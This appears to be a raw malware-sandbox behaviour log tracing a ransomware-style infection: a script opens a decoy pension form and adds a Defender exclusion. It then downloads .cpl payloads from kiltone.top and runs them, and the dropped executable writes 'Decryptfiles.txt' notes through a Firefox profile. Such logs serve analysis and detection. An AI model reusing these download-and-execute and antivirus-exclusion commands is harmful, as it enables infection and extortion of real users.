Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\control.exe control C:\Users\user~1\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\notepad.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt VolumeInformation
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

barindex
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\AlternateServices.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\compatibility.ini
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\containers.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal.FoaS
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690337.3be89113-af2b-4b48-9c47-40ac1156f7a2.new-profile.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690344.6260e81e-5ef5-4137-a0a5-7930ea6f0a75.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690347.6786f292-c1be-4996-99cd-77aa855c1844.first-shutdown.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695562.2c8e5eea-375d-48a9-ad4c-be583ff1215d.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695606.ff032c8b-05e6-43c9-9e84-732dbe7aca27.event.jsonlz4
